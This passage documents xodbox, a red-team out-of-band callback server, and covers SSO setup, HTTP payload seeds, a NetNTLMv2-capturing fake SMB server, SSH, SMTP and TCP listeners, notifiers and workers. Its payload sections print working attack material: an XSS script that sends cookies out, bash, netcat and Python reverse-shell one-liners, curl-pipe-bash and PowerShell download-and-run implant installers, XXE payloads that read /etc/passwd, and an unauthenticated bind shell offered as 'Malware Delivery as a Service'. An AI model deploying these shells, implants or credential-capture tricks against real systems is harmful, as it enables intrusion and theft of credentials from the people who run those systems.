  • Roles: admin (may manage users) and user.
  • OIDC/SSO: optional; see below. SSO users authenticate against an external identity provider and never have a local password.

OIDC single sign-on

When oidc_issuer and oidc_client_id are configured, the login page shows an SSO button next to the password form (SSO and passwords coexist, so a misconfigured IdP can’t lock you out — a local admin can always sign in). The flow is standard Authorization Code + PKCE:

  1. The browser hits /api/auth/oidc/login, which stashes a state, nonce, and PKCE verifier in short-lived cookies and redirects to the provider.
  2. The provider redirects back to /api/auth/oidc/callback, which validates state, exchanges the code (with the PKCE verifier), verifies the ID token signature and nonce, and then provisions the user and issues the same server-side session cookie the password flow uses. Everything downstream (CSRF, requireAuth, API keys) is unchanged.

User provisioning is just-in-time. On first login a local account is created from the token’s claims (no password, so it can never be used for password login); the account is keyed by the token’s iss#sub, never by email, so a colliding email can’t take over an existing account. On every login the user’s role is re-synced from the current claims, so IdP group changes take effect immediately.

Role mapping. With oidc_admin_group set, a user whose oidc_groups_claim contains that value gets the admin role; everyone else gets oidc_default_role (default user). Manage further elevation from the Users page as usual.

Example (Keycloak-style issuer):

- handler: HTTPX
  listener: :80
  admin_listener: 127.0.0.1:9091
  public_url: https://oob.example.com
  oidc_issuer: https://sso.example.com/realms/corp
  oidc_client_id: xodbox
  oidc_client_secret: "…"
  oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
  oidc_admin_group: xodbox-admins

Bootstrapping users (CLI)

Create the first admin before starting the server (there is no default account). API keys are then minted from the console.

xodbox user add alice --admin   # prints a generated password once
xodbox user list
xodbox user passwd alice        # reset a password (revokes active sessions)
xodbox user rm alice            # delete a user + their keys and sessions

Example config

handlers:
  - handler: HTTPX
    listener: ":80"
    admin_listener: "127.0.0.1:8443"   # console isolated from the honeypot port
    ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"
    # ui_path: "/admin"                # alternative: same listener, sub-path

Filters

The entire HTTP request (request line + headers + body) is fed to the notifier filter regexps. To alert on a specific prefix:

filter: "(GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /myPrefix"

This would match:

  • https://test.example/myPrefixexample
  • https://test.example/myPrefix/example
  • https://test.example/myPrefix/asdasd/asdasd/asd/as/d

And would not match:

  • https://test.example/robots.txt
  • https://test.example/asd/myPrefix/example

Operational notes

  • Stop(ctx) shuts down whichever server pair Start booted: in HTTP mode, the single *http.Server; in HTTPS mode, both the ACME HTTP-01 challenge listener on :80 and the TLS listener on :443. The payload-directory watcher goroutine (if payload_dir was set) is also cancelled. ctx bounds how long in-flight requests have to drain. When admin_listener is set, its dedicated server is started in Start and shut down under the same Stop(ctx) drain.
  • Sensitive operator keys (api_token, dns_provider_api_key) end up in the xodbox config file. Restrict that file’s permissions to 0600 and the running user.
  • Admin passwords, session tokens, and API keys live in the SQLite database (hashed), never in the config file. Prefer binding the admin console to an isolated admin_listener and/or a tight ui_allow_cidrs so it is never reachable from the attacker-facing port.

Backlog

New features

  • Let’s Encrypt Auto Cert
  • Exfil data saver

Legacy functionality to be implemented

  • robots.txt
  • unfurly
  • arbitrary json
    • b64
  • redirect
    • b64
  • basic auth
  • breakfastbot
  • allow origin *

Legacy functionality that isn’t specific to a handler

  • alert pattern with payload
  • alert pattern (alert patterns are part of notifiers, maybe we need to expose alert patterns based on handler type)
  • slack hook (this is now a notifier)

4.3.1 - Default Payloads Seeds

seed data

Default payloads that come with xodbox.

4.3.1.1 - Default Header

Adds the default header to all HTTP responses.

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

Server: BreakfastBot/1.0.0

4.3.1.2 - Redirect

HTTP Redirects

HTTP Redirects to the query parameter l using the query param s as the status code.

WhatDescriptionGET Parameters
LocationLocation to redirect tol
StatusHTTP status codes

Example Request

curl -i "http://xodbox.test/redir?l=https://github.com/defektive/xodbox&s=301"

Example Response

Location: https://github.com/defektive/xodbox

4.3.1.3 - Remote Address Reflector

A restrictive robots.txt

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/ip

Example Response

10.1.2.3

4.3.1.4 - Robots TXT

A restrictive robots.txt

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/robots.txt

Example Response

User-Agent: *
Disallow: /

4.3.1.5 - Build MDaaS

Build random binaries

4.3.1.6 - Inspect

Reflect back HTTP requests in various formats

Depends on an internal code

/inspect

Inspect or reflect the request back in various formats.

  • Plain Text (default, .txt)
  • HTML (.html, .html)
  • GIF (.gif)
  • JPEG (.jpg)
  • PNG (.png)
  • MP4 (.mp4)
  • XML (.xml)
  • JSON (.json)
  • Javascript (.js)

Examples

  • http://localhost/inspect
  • http://localhost/some/random/path/inspect.gif

4.3.1.7 - XSS HTML

Returns HTML that embeds xss-js

/jsc.html

Simple HTML to load simple JS Payload.

4.3.1.8 - XSS JavaScript

Returns JS that embeds an image back to xodbox

/jsc

Simple JS Payload. Useful form embedding or quickly copying and modifying for an XSS payload to prove execution and exfil.

(function (){
    var s = document.createElement("img");
    document.body.appendChild(s);
    s.src="//{{.Request.Host}}/{{ .NotifyString}}/jscb?src="+window.location+"&c="+document.cookie;
})()

4.3.1.9 - Default Favicon

Redirects to the default logo.

Redirects to the embedded default logo, exposed via embedded fs.

Example Request

curl -i http://xodbox.test/favicon.ico

4.3.1.10 - Bash Reverse Shell

BusyBox Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/bash?h=10.10.10.10&p=9090"

Example Response

bash -i >& /dev/tcp/127.0.0.1/9091 0>&1
0<&196;exec 196<>/dev/tcp/127.0.0.1/9091 ; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/127.0.0.1/9091 0<&1 2>&1

4.3.1.11 - Bind Shell

Requires bind-shell in static dir

Build a bind shell implant for the specific platform and execute it.

Example Request

curl xodbox/bind.sh|bash

4.3.1.12 - BusyBox Reverse Shell

BusyBox Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/bb?h=10.10.10.10&p=9090"

Example Response

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1111 >/tmp/f

4.3.1.13 - Detect platform

detect platform

Example Request

curl -i "http://xodbox.test/detect.sh"

This will curl the notification url with the detected values in the path.

4.3.1.14 - HTML IFrame With Request Params

Returns an HTML page with an iframe src to f query parameter

/ht

attempts to get whatever files is supplied via the f query parameter

4.3.1.15 - Open Graph

Embed request params in open graph elements.

Useful for unfurlers. Maybe we should merge this into inspect…

Example Request

curl -i "http://xodbox.test/unfurl"

Example Response

Location: https://github.com/defektive/xodbox

4.3.1.16 - Python Reverse Shell

Python Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/python?h=10.10.10.10&p=9090"

Example Response

import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",9091));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")

4.3.1.17 - Reverse Shell

Requires bind-shell in static dir

Build a reverse shell implant for the specific platform and execute it.

Example Request

curl xodbox/reverse.sh|bash

4.3.1.18 - Simple SSH

Simple SSH (requires build of simple ssh server in static dir)

Build an SSH server implant for the specific platform and execute it.

Example Request

curl xodbox/ssh.sh|bash

4.3.1.19 - Simple SSH Service

Simple SSH Service (requires build of simple ssh server in static dir)

Build an SSH server implant for the specific platform and install it as a service, then start the service.

Example Request

curl xodbox/ssh.sh|bash

4.3.1.20 - XSS Image Template

A text template for quickly embedding js execution hooks into pages the image tags

4.3.1.21 - XXE Callback

More XXE

XXE Callback used by xxe-system

4.3.1.22 - XXE DTD

More XXE

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

/evil.dtd

dtd for use by others

4.3.1.23 - XXE SVG Hostname

Returns an SVG payload with XXE to get files

/sh

attempts to get /etc/hostname

SVG with XXE payloads

4.3.1.24 - XXE SVG Passwd

Returns an SVG payload with XXE to get files

/sp

attempts to get /etc/passwd

4.3.1.25 - XXE SVG Request Params

Returns an SVG payload with XXE to get files

/sv

attempts to get whatever files is supplied via the f query parameter

4.3.1.26 - XXE System

More XXE

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

4.3.1.27 - Default Page

returns a simple page if nothing is matched

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

hi

4.3.1.28 - In Development Seeds

These seeds are not ready for production and may never be.

Seeds that are not tested or finished.

4.3.1.28.1 - Bind shell powershell

Requires bind-shell in static dir
iex ((New-Object System.Net.WebClient).DownloadString('http://xobox/bind.ps1'))

4.3.1.28.2 - Pipe Process List to Notifier

Simple script to pipe ps to the notification URL

Example Request

curl xodbox/pipe.sh|bash

4.3.1.28.3 - WPAD

Returns a WPAD config file (Javascript).

WPAD Proxy. Not really useful at the moment. Should be more useful in the future

4.3.2 - Example Payloads

Examples

Default payloads that come with xodbox.

4.3.2.1 - List Payloads

List payloads

List Payloads

---
title: List Payloads
description: List payloads
weight: 1
pattern: /i-forgot-how-things-work$
is_final: true
data:
  headers:
    Content-Type: text/plain
  body: |
    Payloads
    
    {{ range .Payloads }}
    {{ .Pattern }} - {{ .Name }} [{{ .Type }}]
    {{ .Description }}
    
    {{ end }}
---

4.4 - SMB

SMB Handler (NetNTLMv2 capture)

Purpose

A fake SMB server for authorized engagements. It speaks just enough SMB2 to walk a client through NTLM authentication and capture the resulting NetNTLMv2 response as a hashcat-crackable hash. Point a target at \\your-host\share (via a coerced UNC path, img src=file://…, RESPONDER-style poisoning, an SSRF, etc.) and, if it authenticates, you get its hash.

It never grants a session — every authentication attempt is answered with a logon failure once the hash has been recorded. No credentials are verified and no shares are served.

Behaviour

  • Listens on tcp4 at the configured listener address (SMB direct-host, default :445).

  • Answers a legacy SMB1 multi-protocol negotiate with an SMB2 wildcard so the client re-negotiates over SMB2; answers SMB2 NEGOTIATE with dialect 2.1 and a SPNEGO token advertising NTLMSSP.

  • On SESSION_SETUP, returns an NTLMSSP CHALLENGE with the fixed server challenge 0x1122334455667788 (the Responder/Impacket convention, so captured hashes work with existing tooling).

  • Parses the client’s NTLMSSP AUTHENTICATE, extracts the domain, user and NT challenge response, and emits an Auth event whose Data() is the hashcat mode 5600 line:

    user::domain:1122334455667788:<NTProofStr>:<clientBlob>
    
  • Answers the authenticate with STATUS_LOGON_FAILURE and closes.

Configuration

KeyRequiredDefaultNotes
handleryesMust be SMB.
listenerno:445Bind address. Binding :445 usually needs elevated privileges.
target_namenoXODBOXThe NetBIOS/DNS name advertised in the NTLMSSP challenge (target name + AV pairs). Set a realistic value (e.g. CORP-FS01) to blend in and avoid fingerprinting the server as xodbox. Cosmetic — it only affects what the client believes it connected to.

The old persist knob has been removed. Every handler’s interactions — including SMB — are now persisted centrally by the application (see below), so captured hashes always land in the interactions table and the web view. Note that NetNTLMv2 hashes are crackable credential material sitting on disk; protect the SQLite database accordingly.

Events

ActionTriggerData payload
ConnectAccepted a new connection.none
NegotiateFirst SMB2 NEGOTIATE seen on the connection.none
AuthClient sent an NTLMSSP AUTHENTICATE.NetNTLMv2 hash (hashcat mode 5600)
DisconnectThe exchange ended (EOF, error, or Stop()).none

Feed a captured Auth payload straight to hashcat -m 5600 or john --format=netntlmv2.

Each event is persisted to the interactions table by the application’s central event loop (every handler’s events are stored, not just SMB’s). An Auth capture lands as handler=smb, request_type=Auth, with the DOMAIN\User in request_target and the hashcat line in data, so it survives restarts and appears in the web view.

Operational notes

  • Only NTLMv2 is captured. LM-only / NTLMv1 clients (rare, and usually disabled) are logged and skipped.
  • The advertised target name defaults to XODBOX and is configurable via target_name; it only affects what the client believes it connected to, so set a realistic value to avoid fingerprinting.
  • No SMB library is vendored — the minimal SMB2/NTLMSSP/SPNEGO wire format is implemented in-package, so the handler adds no dependencies.
  • The accept loop returns from Start() cleanly when Stop() closes the listener; in-flight connections are closed so their goroutines exit.
  • Only use this against systems you are authorized to test.

4.5 - SMTP

SMTP Handler

Purpose

An SMTP listener that accepts (and then discards) mail to confirm out-of-band email delivery from an application under test. Every SMTP verb produces a separate InteractionEvent so MAIL FROM, RCPT TO, DATA, RSET, AUTH PLAIN, and QUIT all show up in the dispatch stream.

Behaviour

  • Backed by emersion/go-smtp.
  • AllowInsecureAuth = true — plaintext AUTH PLAIN is accepted on the cleartext socket; every attempt is recorded as a PasswordAuth event. Do not point clients carrying real credentials at this handler.
  • A self-signed certificate is generated on startup for STARTTLS, with a randomised 128-bit serial and the SAN test.com. The certificate is intentionally untrusted (see SECURITY.md) — clients that accept it are the bug.
  • The DATA body is read but discarded; only the action is dispatched.

Configuration

KeyRequiredDefaultNotes
handleryesMust be SMTP.
listeneryesBind address, e.g. :25, :587, or :1587 for unprivileged operation.

Events

ActionTrigger
PasswordAuthClient issued AUTH PLAIN.
MailClient issued MAIL FROM.
RcptClient issued RCPT TO.
DataClient started DATA (body ignored).
ResetClient issued RSET.
LogoutSession ended (QUIT or connection close).

Operational notes

  • Stop(ctx) calls smtp.Server.Shutdown(ctx); in-flight sessions get the context’s deadline to drain.
  • The handler’s Debug field is currently wired to os.Stdout — every SMTP exchange is echoed there in addition to being dispatched.

4.6 - SSH

SSH Handler

Purpose

An SSH listener that records every authentication attempt and then rejects it. Useful for credential-stuffing telemetry and for confirming out-of-band SSH reach-out from an application under test.

Behaviour

  • Backed by gliderlabs/ssh.
  • Both password and public-key auth callbacks dispatch an InteractionEvent (PasswordAuth / KeyAuth) carrying the attempting username and remote address. Both callbacks then return false, so no session is ever established.
  • If a session were to open (it does not, by design), it would write "This account is currently not available\n" and close.
  • A fresh host key is generated on first startup. The handler does not currently expose host-key configuration.

Configuration

KeyRequiredDefaultNotes
handleryesMust be SSH.
listenerno:22Bind address. Use :2222 to avoid CAP_NET_BIND_SERVICE.

Events

ActionTrigger
PasswordAuthClient offered username:password. Submitted password is logged at debug.
KeyAuthClient offered a public key. Key type is logged at debug.

Operational notes

  • Every credential attempt that lands here is logged. Plaintext passwords reaching the handler should be treated as compromised.
  • Stop(ctx) calls ssh.Server.Shutdown(ctx).

4.7 - TCP

TCP Handler

Purpose

A raw TCP listener that accepts every connection, reads anything the client sends, and emits an event per chunk. Useful for confirming out-of-band TCP reach-out from an application under test where the client doesn’t speak a recognised application protocol.

Behaviour

  • Listens on tcp4 at the configured listener address.
  • One Connect event per accepted connection.
  • One DataRecv event per read() call from the client, carrying the bytes that were actually read in RawData (Data()). Chunks are copied before dispatch — slices are safe to retain across the channel.
  • One Disconnect event when the read loop exits (EOF, peer reset, read error, or Stop()).
  • The handler never writes back to the client.

Configuration

KeyRequiredDefaultNotes
handleryesMust be TCP.
listeneryesBind address, e.g. 127.0.0.1:9090. IPv6-only binds are not currently supported.

Events

ActionTriggerData payload
ConnectAccepted a new connection.none
DataRecvBytes received from the client.the chunk just read
DisconnectRead loop exited (EOF, error, or Stop).none

Operational notes

  • The accept loop returns from Start() cleanly when Stop() closes the listener. In-flight handleConn goroutines drain naturally as their peers close.
  • Stop(ctx) ignores the context’s deadline — closing the listener is immediate.

5 - MDaaS

Malware Delivery as a Service

Purpose

JIT malware compilation and delivery. Facilitate curl | bash deployments of various payloads.

Configuration

Ensure Golang is installed.

Additional Information

Things are still being created, documented, and fine-tuned.

5.1 - Bind Shell

Stupid Simple Bind Shell

Purpose

Bind to a port and serve a shell to clients

Configuration

None.

Additional Information

Current port is 4444. No auth :(.

Roadmap

  • Add configure option for bind port
  • Add configure option for allowed CIDRs
  • Add configuration option for some for of authentication

Testing

Debug mode

go build -ldflags="-X main.listener=:8080 -X main.logLevel=DEBUG -X main.allowedCIDR=127.0.0.1/32" bind-shell.go

5.2 - Simple SSH Server

No password required! It’s that simple….

Purpose

Quickly get SSH listening on a target machine.

Configuration

None.

Additional Information

Current port is 2222. No auth :(.

Roadmap

  • Add configure option for bind port
  • Add configure option for allowed CIDRs
  • Add configuration option for some for of authentication

Testing

Debug mode

go build -ldflags="-X main.listener=:8080 -X main.logLevel=DEBUG -X main.allowedCIDR=127.0.0.1/32" simple-ssh.go

6 - Notifiers

Interaction notifiers

Notifiers are used to send notifications to external services or log interactions to the app log.

Available notifiers: app_log, slack, discord, webhook.

Filters

Each notifier accepts a filter configuration option, compiled into a Go regexp. The notifier only fires when the filter matches — this applies to every notifier (app_log, slack, discord, webhook). The default filter is .* (match everything).

The regexp is matched against a single canonical string that is consistent across every handler:

HANDLER ACTION DETAIL from IP[,IP...]
  • HANDLER — the handler name (HTTPX, DNS, FTP, SMTP, SSH, TCP, SMB).
  • ACTION — the interaction kind (HTTP method, DNS query type, Auth, Mail, Data, …).
  • DETAIL — handler-specific specifics (HTTP path+query, DNS name, SSH user, SMB account, …).
  • IP chain — the unique source IPs. For HTTPX this is the de-duplicated X-Forwarded-For + X-Real-Ip + peer chain (client first); for other handlers it’s the peer IP.

Because the shape is uniform, one regexp can select across any handler:

GoalFilter
HTTP payload hits under /x/^HTTPX (GET|POST) /x/
Captured SMB hashes^SMB Auth
DNS lookups for a C2 domain^DNS (A|AAAA) .*\.evil\.com
SSH login attempts as root^SSH \w+ root
Admin console logins (needs notify_logins)^HTTPX Login
Anything from one source IPfrom .*10\.0\.0\.5

Example canonical strings:

HTTPX POST /x/beacon?id=1 from 203.0.113.9,10.0.0.1
HTTPX Login alice from 10.0.0.5
DNS A c2.evil.com. from 10.0.0.5
SMB Auth CORP\alice from 10.0.0.5
SSH PasswordAuth root from 10.0.0.5

The HTTPX Login events are only emitted when the HTTPX handler is configured with notify_logins: "true" (see the HTTPX handler).

Check each handler for the exact FilterString its events produce.

6.1 - App Log

Log to application log

Structured loggoing output

time=2025-02-26T14:57:03.838-07:00 level=INFO msg="InteractionEvent received" xodbox.pkg=github.com/defektive/xodbox/pkg/notifiers/app_log details="HTTPX: GET /l/face from 127.0.0.1:56407"

Configuration

KeyValues
notifierMust be app_log

6.2 - Discord

Discord notification

Discord Notification

Configuration

KeyValues
notifierMust be discord
urlWebhook URL
authorUsername to appear in slack. (optional) d
author_imageEmoji code to use for user’s avatar. (optional)
filterGolang regexp.

Messages longer than Discord’s 2 000-character content limit are automatically truncated with a trailing .

6.3 - Slack

Slack notifications

Slack Notification

Configuration

KeyValues
notifierMust be slack
urlWebhook URL
authorUsername to appear in slack. (optional)
author_imageEmoji code to use for user’s avatar. (optional)
channelChannel to post to, can be a user’s ID. (optional)
filterGolang regexp.

Messages longer than ~3 900 characters are automatically truncated with a trailing to keep Slack from splitting them across multiple posts.

6.4 - Webhook

Generic HTTP Webhook

POSTs every matching event as a JSON object to a configured URL. Slack and Discord notifiers share this codepath under the hood, but webhook can also be used directly as a standalone notifier — no custom code required. This makes it the primary integration point for external workflows: pipe NTLM hashes to a cracking service, forward SMB auth events to n8n, send everything to a SIEM, etc.

Payload shape

{
  "RemoteAddr": "203.0.113.5",
  "RemotePort": 54321,
  "UserAgent":  "curl/8.0",
  "Data":       "DELETE /probe HTTP/1.1\r\nHost: ...",
  "Details":    "HTTPX: DELETE http://.../probe from 203.0.113.5:54321",
  "Curl":       "curl -X DELETE ..."
}

Curl is only populated for HTTP events; it is omitted for other handlers. Data and Curl fields are capped at 32 KB each; Truncated is true when either field was clipped.

Configuration

KeyRequiredDefaultNotes
notifieryesMust be webhook.
urlyesDestination URL. Posted with Content-Type: application/json.
filterno.*Go regexp matched against "HANDLER ACTION DETAIL from IP". See Notifiers for the full filter reference.

Example

notifiers:
  # Forward every captured SMB hash to an external cracking pipeline.
  - notifier: webhook
    url: https://n8n.myteam.internal/webhook/ntlm-capture
    filter: "^SMB Auth"

  # Alert a SIEM on any /l path hit (the default notify path).
  - notifier: webhook
    url: https://siem.example.com/ingest/xodbox
    filter: "^HTTPX.*\\/l"

  # No filter — forward everything.
  - notifier: webhook
    url: https://my-siem.example.com/ingest

Failure handling

  • 2xx/3xx responses are treated as success.
  • 4xx/5xx responses log an error but do not propagate it to the dispatcher (a flaky webhook does not block other notifiers).
  • Connection/transport failures (DNS, refused, timeout) propagate as errors and are surfaced in the app log.

7 - Workers

Periodic background jobs

Workers are periodic background jobs that run inside the xodbox process on a configurable schedule. They are the complement to Notifiers: notifiers react to inbound events in real time; workers run independently of traffic and operate on the captured data (pruning old records, aggregating stats, etc.).

Workers are registered in xodbox.yaml under a top-level workers: key, following the same key: value map convention used by handlers and notifiers.

Schedule expressions

The schedule key accepts any robfig/cron v3 expression:

ExpressionMeaning
@dailyOnce a day at midnight
@hourlyOnce an hour
@every 30mEvery 30 minutes
@every 6hEvery 6 hours
0 2 * * *Standard 5-field cron (daily at 02:00)
*/15 * * * *Every 15 minutes

Behaviour

  • If a worker is still running when its next tick fires, the new tick is silently skipped — there is no pileup.
  • A worker error is logged but does not stop the scheduler; the worker will run again on the next tick.
  • Workers are shut down gracefully: on SIGINT/SIGTERM xodbox cancels the context passed to Run and waits for any in-flight run to complete before exiting.

Example

workers:
  ## Docs: https://defektive.github.io/xodbox/docs/pkg/workers/purge/
  - worker: purge
    schedule: "@daily"
    max_age_days: "30"

Available workers

WorkerDescription
purgeDelete interactions older than N days

7.1 - Purge

Delete old interactions on a schedule

Deletes interaction records older than a configurable number of days. Run this to keep the SQLite database from growing unbounded during long-running engagements.

Configuration

KeyRequiredDefaultNotes
workeryesMust be purge.
scheduleno@dailyCron expression or @every interval. See Workers.
max_age_daysno30Interactions older than this many days are deleted. Must be ≥ 1.

Example

workers:
  # Delete interactions older than 14 days, every night at 02:00.
  - worker: purge
    schedule: "0 2 * * *"
    max_age_days: "14"

Notes

  • Uses GORM soft-delete (sets deleted_at), so the rows are not immediately reclaimed by SQLite. Run VACUUM manually if you need to shrink the file on disk after a large purge.
  • max_age_days: "0" (or any non-positive value) is silently ignored and the 30-day default is used instead.

8 - xodbox-validator

validate xxe payloads

Purpose

To make sure XXE payloads are executing properly.

Usage

./xodbox-validator